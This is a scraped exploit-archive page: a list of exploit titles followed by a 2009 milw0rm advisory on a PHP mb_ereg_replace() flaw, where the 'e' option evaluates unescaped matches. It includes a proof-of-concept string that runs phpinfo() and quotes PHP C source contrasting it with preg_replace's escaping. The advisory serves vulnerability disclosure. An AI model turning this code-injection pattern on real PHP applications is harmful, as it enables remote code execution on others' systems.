477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
55 lines
1.5 KiB
Text
Executable file
55 lines
1.5 KiB
Text
Executable file
mb_ereg(i)_replace() evaluate replacement string vulnerability
|
|
|
|
by ryat#www.80vul.com
|
|
|
|
when option parameter set e, matchs not be escaped.
|
|
|
|
ex:
|
|
|
|
<?php
|
|
|
|
function hi80vul() {}
|
|
|
|
$str = '\', phpinfo(), \'';
|
|
mb_ereg_replace('^(.*)$', 'hi80vul(\'\1\')', $str, 'e');
|
|
|
|
?>
|
|
|
|
phpinfo() will be evaluated.
|
|
|
|
mb_ereg_replace()
|
|
|
|
if ((replace_len - i) >= 2 && fwd == 1 &&
|
|
p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
|
|
n = p[1] - '0';
|
|
}
|
|
if (n >= 0 && n < regs->num_regs) {
|
|
if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
|
|
smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
|
|
// matchs not be escaped
|
|
}
|
|
|
|
preg_replace()
|
|
|
|
if ('\\' == *walk || '$' == *walk) {
|
|
smart_str_appendl(&code, segment, walk - segment);
|
|
if (walk_last == '\\') {
|
|
code.c[code.len-1] = *walk++;
|
|
segment = walk;
|
|
walk_last = 0;
|
|
continue;
|
|
}
|
|
segment = walk;
|
|
if (preg_get_backref(&walk, &backref)) {
|
|
if (backref < count) {
|
|
/* Find the corresponding string match and substitute it
|
|
in instead of the backref */
|
|
match = subject + offsets[backref<<1];
|
|
match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
|
|
if (match_len) {
|
|
esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
|
|
// matchs escaped by addslashes()
|
|
...
|
|
smart_str_appendl(&code, esc_match, esc_match_len);
|
|
|
|
# milw0rm.com [2009-05-07]
|